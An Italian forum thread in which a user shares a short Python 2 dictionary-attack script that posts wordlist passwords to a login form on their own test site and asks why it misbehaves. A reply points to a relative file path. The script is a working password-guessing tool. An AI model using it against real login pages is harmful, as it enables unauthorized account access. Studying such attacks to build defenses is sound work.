PROBLEMA Programma Dizionario Python Restituisce Output "sbagliato"

Pubblicità

censa

Utente Attivo
Messaggi
535
Reazioni
91
Punteggio
52
Provando a "mettere" in pratica un concetto teorico, riguardante il metodo degli "attacchi a dizionario" e dei "relativi" metodi di protezione, ho voluto creare un sito di "prova", con un form dedicato al Login, da attaccare utilizzando questo codice Python da me sviluppato.
Codice:
import urllib
url="http://sitoprova.php"

username="Mario"
lista="lista.txt"

pwd = []
f = open(lista, "r ")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Password errata"

for password in pwd:
    print "Sto testando la password:", password
    parametriDaTestare = { "username" : username, "password" : password, "login" : "1" }
    p= urllib.urlencode(parametriDaTestare)
    paginaDiAction = urllib.urlopen(url, p)
    risultato = paginaDiAction.read()
    if not(messaggioDiErrore in risultato):
        print "Password trovata:", password
        break
il problema è che a momento dell'esecuzione, il programma mi restituisce in Output il PRIMO ELEMENTO della lista (nel caso usi l'editor di Python), nel caso usi CMD invece, mi restituisce la seguente stringa: " Errno2, no such file or directory ."lista.txt" "
Soluzioni?
 
Se lo lanci da cmd ovviamente non trova lista.txt perchè non si trova nella cartella dove esegui il codice. Lo risolvi facilmente inserendo la path assoluta, non quella relativa.

Una domanda stupida: sitoprova.php è l'action della form? Funziona bene? Non mi pare, ad occhio, che il problema sia sul codice python
 
Pubblicità
Pubblicità
Indietro
Top